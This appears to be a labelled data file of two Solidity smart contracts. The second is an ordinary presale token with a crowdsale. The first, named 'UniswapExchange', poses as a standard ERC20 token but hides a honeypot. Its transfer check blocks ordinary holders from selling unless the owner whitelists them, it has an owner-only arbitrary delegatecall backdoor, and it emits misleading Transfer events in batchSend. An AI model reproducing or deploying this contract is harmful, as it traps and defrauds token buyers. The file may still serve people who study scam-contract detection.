pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,502
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ALT1Token is Ownable, ERC20Basic { using SafeMath for uint256; string public constant name = "Altair VR presale token"; string public constant symbol = "ALT1"; uint8 public constant decimals = 18; bool public mintingFinished = false; mapping(address => uint256) public balances; address[] public holders; event Mint(address indexed to, uint256 amount); event MintFinished(); function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); if (balances[_to] == 0) { holders.push(_to); } balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } function transfer(address, uint256) public returns (bool) { revert(); return false; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } modifier canMint() { require(!mintingFinished); _; } } contract Crowdsale is Ownable { using SafeMath for uint256; uint256 public constant rate = 17000; uint256 public constant cap = 80000000 ether / rate; bool public isFinalized = false; uint256 public endTime = 1522540800; ALT1Token public token; address public wallet; uint256 public weiRaised; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); event Finalized(); function Crowdsale (ALT1Token _ALT1, address _wallet) public { assert(address(_ALT1) != address(0)); assert(_wallet != address(0)); assert(endTime > now); assert(rate > 0); assert(cap > 0); token = _ALT1; wallet = _wallet; } function () public payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; uint256 tokens = weiAmount.mul(rate); weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } function finalize() onlyOwner public { require(!isFinalized); finalization(); Finalized(); isFinalized = true; } function forwardFunds() internal { wallet.transfer(msg.value); } function validPurchase() internal view returns (bool) { bool tokenMintingFinished = token.mintingFinished(); bool withinCap = weiRaised.add(msg.value) <= cap; bool withinPeriod = now <= endTime; bool nonZeroPurchase = msg.value != 0; bool moreThanMinimumPayment = msg.value >= 0.05 ether; return !tokenMintingFinished && withinCap && withinPeriod && nonZeroPurchase && moreThanMinimumPayment; } function finalization() internal { token.finishMinting(); endTime = now; } function hasEnded() public view returns (bool) { return now > endTime; } }
1
2,702